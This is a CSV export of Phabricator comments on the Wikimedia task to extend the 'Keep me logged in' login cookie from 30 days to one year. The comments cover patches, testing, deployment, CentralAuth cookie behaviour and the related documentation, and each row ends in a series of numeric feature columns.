+713082,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",@Mattflaschen-WMF @Whatamidoing-WMF  @Mpaulson The updates are complete.,,,1471455799,,PHID-USER-cgw4o6eavdk7iiz2ylah,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,58,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0
+713069,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",@Mattflaschen-WMF @WhatamIdoing @APalmer_WMF - Matt should be working with Aeryn to update the various cookie documents to 1 year. When is it going to be changed over?,,,1471455061,,PHID-USER-kffalvhbc2wojbtnxvua,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,58,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,1,0,0,1,0,0,0
+712758,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","@Mpaulson , I believe that https://meta.wikimedia.org/wiki/Privacy_policy/FAQ#cookieFAQ still needs to be updated.  Is this on your calendar?",,,1471425318,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,58,True,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0
+712669,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#2557657, @Mattflaschen-WMF wrote:
+> I noticed that the loginwiki centralauth_User cookie still gets set to a month-one expiration (the centralauth_User cookies on the individual sites are a full year).
+
+Works for me. Are you looking at the right request? It's set on the request to `Special:CentralAutoLogin/refreshCookies` (see `SpecialCentralLogin::doLoginStart`, the part with the comment //Start an unusable placeholder session stub and send a cookie//, and `SpecialCentralAutoLogin::execute`, under `case 'refreshCookies'`).",,,1471403445,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,58,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,0,1,1,1,0,0,1
+712313,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","All looks good to me, too.
+
+Thanks Matt, and everyone who helped!",,,1471368615,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,58,True,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0
+712294,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","I noticed that the loginwiki centralauth_User cookie still gets set to a month-one expiration (the centralauth_User cookies on the individual sites are a full year).
+
+This doesn't seem to affect the other cookies, though.  I set my clock into the future, and I am still logged in.  Also, even this central cookie is getting set to the full year later.
+
+So everything seems to be working.",,,1471366289,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,58,True,0,1,0,1,1,1,1,0,1,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+712238,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVaT6wZraH8PnNb4DxJd} [2016-08-16T15:14:28Z] <thcipriani@tin> Synchronized wmf-config/CommonSettings.php: SWAT: [[gerrit:230954|Change login cookies (for ""Keep me logged in"") to a one year expiry. (T68699)]] (duration: 01m 08s)",,,1471360469,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,58,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,0,0,0,1
+712234,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 230954 merged by jenkins-bot:
+Change login cookies (for 'Keep me logged in') to a one year expiry.
+
+[[https://gerrit.wikimedia.org/r/230954]]",,,1471359841,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,58,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,0,0,0,1
+711753,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#2551245, @MZMcBride wrote:
+> csteipp, BBlack, and Krinkle expressed concerns about the approach being taken here (cf. T68699#696077, T68699#1534649, and T68699#696227). I think we should make sure that there are separate follow-up Phabricator Maniphest tasks to track the additional work needed here so that those concerns don't get overlooked.
+
+@csteipp did OK the current approach (T68699#696127), though.  I filed {T143015} as a follow up task.
+
+The other part is part-technical, part-product, and it's not clear if and what we want to do there.  But I've filed {T143019}.",,,1471284666,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,58,True,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,1
+711233,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#2450022, @Mattflaschen-WMF wrote:
+> Any other steps?
+
+csteipp, BBlack, and Krinkle expressed concerns about the approach being taken here (cf. T68699#696077, T68699#1534649, and T68699#696227). I think we should make sure that there are separate follow-up Phabricator Maniphest tasks to track the additional work needed here so that those concerns don't get overlooked.",,,1471127888,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,58,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1
+711074,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#2549403, @Mattflaschen-WMF wrote:
+> Could you do a ""see also"", so we can keep that particular page short (and thus readable and easy-to-translate)?
+
+Thought about that a bit more and decided they are not all that relevant (they are about protecting login, not protecting being logged in).",,,1471056728,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,58,True,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,1,0,1
+710971,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#2549376, @Tgr wrote:
+> Is there a good reason not to change `userlogin-remembermypassword` globally (or at least Wikimedia-globally) to show the length of the login session? That would be the most far-reaching way to communicate this change, and seems like a sensible thing to do in general.
+
+I would prefer not to.  The downside is that it makes the login form more busy, when we've put a lot of effort into keeping it simple.  And it just doesn't seem like users need or expect that level of information on the login screen.  Let's take any further discussion to {T49694} (where there has been extensive discussion already).
+
+> Maybe a good place to mention all the recent and ongoing security improvements (stronger password requirements for admins, 2FA, login, T11838)? Some people will no doubt have questions about the security effects of the change.
+
+Could you do a ""see also"", so we can keep that particular page short (and thus readable and easy-to-translate)?",,,1471037260,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,58,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1
+710965,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Thanks for making this happen, Matt!
+
+Is there a good reason not to change `userlogin-remembermypassword` globally (or at least Wikimedia-globally) to show the length of the login session? That would be the most far-reaching way to communicate this change, and seems like a sensible thing to do in general.
+
+>>! In T68699#2548544, @Mattflaschen-WMF wrote:
+> I've added a page documenting this at https://www.mediawiki.org/wiki/%22Keep_me_logged_in%22_extended_to_one_year .
+
+Maybe a good place to mention all the recent and ongoing security improvements (stronger password requirements for admins, 2FA, login, T11838)? Some people will no doubt have questions about the security effects of the change.",,,1471036218,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,58,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1
+710961,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Thanks for making this happen, Matt!
+
+Is there a good reason not to change `userlogin-remembermypassword` globally to show the length of the login session? That would be the most far-reaching way to communicate this change, and seems like a sensible thing to do in general.
+
+>>! In T68699#2548544, @Mattflaschen-WMF wrote:
+> I've added a page documenting this at https://www.mediawiki.org/wiki/%22Keep_me_logged_in%22_extended_to_one_year .
+
+Maybe a good place to mention all the recent and ongoing security improvements (stronger password requirements for admins, 2FA, login, T11838)? Some people will no doubt have questions about the security effects of the change.",,,1471035982,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,58,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1
+710951,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","That i18n change is not a blocker.
+
+This is now on the Beta Cluster as well.",,,1471034966,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,58,True,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+710915,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVaAWograH8PnNb4DwLu} [2016-08-12T20:03:51Z] <mattflaschen@tin> Synchronized wmf-config/CommonSettings-labs.php: T68699: Enable one-year login on Beta Cluster.  Scheduled for prod on Tuesday. (duration: 00m 52s)",,,1471032232,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,58,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+710910,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 304501 merged by jenkins-bot:
+Set one year login in Beta Cluster
+
+[[https://gerrit.wikimedia.org/r/304501]]",,,1471031878,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,58,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+710906,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 304501 had a related patch set uploaded (by Mattflaschen):
+Set one year login in Beta Cluster
+
+[[https://gerrit.wikimedia.org/r/304501]]
+",,,1471031233,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,58,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+710857,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 304493 had a related patch set uploaded (by Mattflaschen):
+Rm unused 'remembermypassword' message, doc another
+
+[[https://gerrit.wikimedia.org/r/304493]]
+",,,1471026696,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,58,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+710950,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","I've added a page documenting this at https://www.mediawiki.org/wiki/%22Keep_me_logged_in%22_extended_to_one_year .
+
+It is scheduled for this Tuesday (2016-08-16) during the 15:00 UTC SWAT window.
+
+@Whatamidoing-WMF will be be helping to communicate the change.",,,1471034947,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,58,True,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,1,0,1,0,1,0,0,0
+710838,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","I've added a page documenting this at https://www.mediawiki.org/wiki/%22Keep_me_logged_in%22_extended_to_one_year .
+
+It is scheduled for this Tuesday (2016-08-16).
+
+@Whatamidoing-WMF will be be helping to communicate the change.",,,1471024686,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,58,True,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,1,0,1,0,1,0,0,0
+709789,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",I'm having a meeting with Matt today to see if any CL time would be nice concerning that change.,,,1470900170,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,58,True,1,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+708975,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",Done prep work.  Checking with @Mpaulson about timing now.  I would like to do it this week.,,,1470787256,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,57,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0
+706159,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Removing this from the #research-and-data board, since we're not planning to do any immediate work on this. Ping us if you need more help.",,,1470349002,,PHID-USER-qb5aoo443n6fezsozhv4,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,57,True,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0
+694172,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#2458976, @Whatamidoing-WMF wrote:
+> Other steps:
+> 
+> * Tell me when to expect this.
+> * Plan a party to celebrate.
+> 
+> Is this going to invalidate existing logins, or will it just take effect the next time that you'd have to login anyway?
+
+It shouldn't affect already-logged-in sessions.",,,1468458045,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,54,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,1
+693888,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Other steps:
+
+* Tell me when to expect this.
+* Plan a party to celebrate.
+
+Is this going to invalidate existing logins, or will it just take effect the next time that you'd have to login anyway?
+",,,1468433087,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,53,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,1,1,0,0,0
+692331,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","See https://wikitech.wikimedia.org/wiki/User:Mattflaschen/Cookies (that's a draft of the cookie info Legal needs).  I will:
+
+* Do a final retest
+* Coordinate with @Mpaulson again
+* Notify Tech News
+
+before putting up the config for SWAT
+
+Any other steps?",,,1468270647,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,53,True,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,0
+686559,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#2417254, @Johan wrote:
+> Will this go into production next week, as ReleaseTaggerBot suggests?
+
+No. The user-facing change is https://gerrit.wikimedia.org/r/#/c/230954/ (in config) which will have immediate effect when it's merged. Not scheduled yet – if we get a final round of 'go's I think w/c 11 July would work, though.",,,1467282301,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,52,True,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1
+686545,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Will this go into production next week, as ReleaseTaggerBot suggests?",,,1467281469,,PHID-USER-go2ym6ta2zn6ofdsrqnx,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,52,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+684274,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 295553 merged by jenkins-bot:
+Make CentralAuth explicitly say which cookies need to be extended
+
+[[https://gerrit.wikimedia.org/r/295553]]",,,1466791173,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,51,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+684273,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 295551 merged by jenkins-bot:
+Extended login: Don't use a $wg config variable, add UserName
+
+[[https://gerrit.wikimedia.org/r/295551]]",,,1466791170,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,51,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+683608,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","This may affect user_touched, which is set after the user logs in (since if people use 'Keep me logged in', they will now log in more rarely).",,,1466688680,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,51,True,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,0,1,0,1,0,0
+683221,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","With this config (testing further locally):
+
+If you //don't// choose ""Keep me logged in"", centralauth_User, UserID and UserName (the latter only with my above patch) will have a one-year expiration.  Although it will indeed not keep you logged in (due to not setting Token), this is probably not what the user would want and expect.
+
+So I think this needs more work.",,,1466620436,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,50,True,0,0,0,0,1,1,0,0,1,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+683194,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","I hit an issue where the cookies CentralAuth needed (specifically User) was not consistent with what the core variable was.  We shouldn't make a CentralAuth-specific change to the core variable, and we shouldn't make end-users change the $wg, since they shouldn't need to know implementation-specific details about how the cookies are used.
+
+So I changed how this works in those two patches.  Hopefully, we can get those two, and the config change, reviewed and deployed soon.",,,1466617734,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,50,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+683143,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 295553 had a related patch set uploaded (by Mattflaschen):
+Make CentralAuth explicitly say which cookies need to be extended
+
+[[https://gerrit.wikimedia.org/r/295553]]
